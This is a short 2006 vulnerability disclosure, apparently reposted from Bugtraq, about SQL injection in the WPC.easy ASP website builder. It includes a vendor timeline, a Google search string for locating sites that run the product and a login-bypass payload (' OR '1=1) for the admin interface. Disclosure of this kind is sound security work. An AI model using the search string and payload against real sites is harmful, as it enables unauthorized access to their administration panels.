Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:11509
HistoryFeb 20, 2006 - 12:00 a.m.

SLQ Injection vulnerability in WPCeasy

2006-02-2000:00:00
vulners.com
36

My first vulnerability report :)

Description:

"WPC.easy" is a database generated website with a dynamic on-line administration suite which allows for
product updates, editing, deleting, image upload and price changes. "WPC.easy" is powered by a Secure
Database.

vendor: http://www.webpagecity.com/wpceasy/wpceasy.asp

Quote:
"WPC.easy" is an interactive self maintained web site, developed with ASP technology. The web site has a
secure, password protected dynamic administration interface.

Secure ?? Woops… :)

googledork:

"Thank You for using WPCeasy"
http://www.google.com/search?q=%22Thank+You+for+using+WPCeasy%22&filter=0

SLQ injection:

login: ' OR '1=1
password: ' OR '1=1

Status:

28 jan 2006: vulnerability found
29 jan 2006: vendor notified
30 Jan 2006: vendor responded
18 Feb 2006: still no fix, posted to buqtraq

Greetings to L0om for encouraging me to post this here and everyone at JIHS.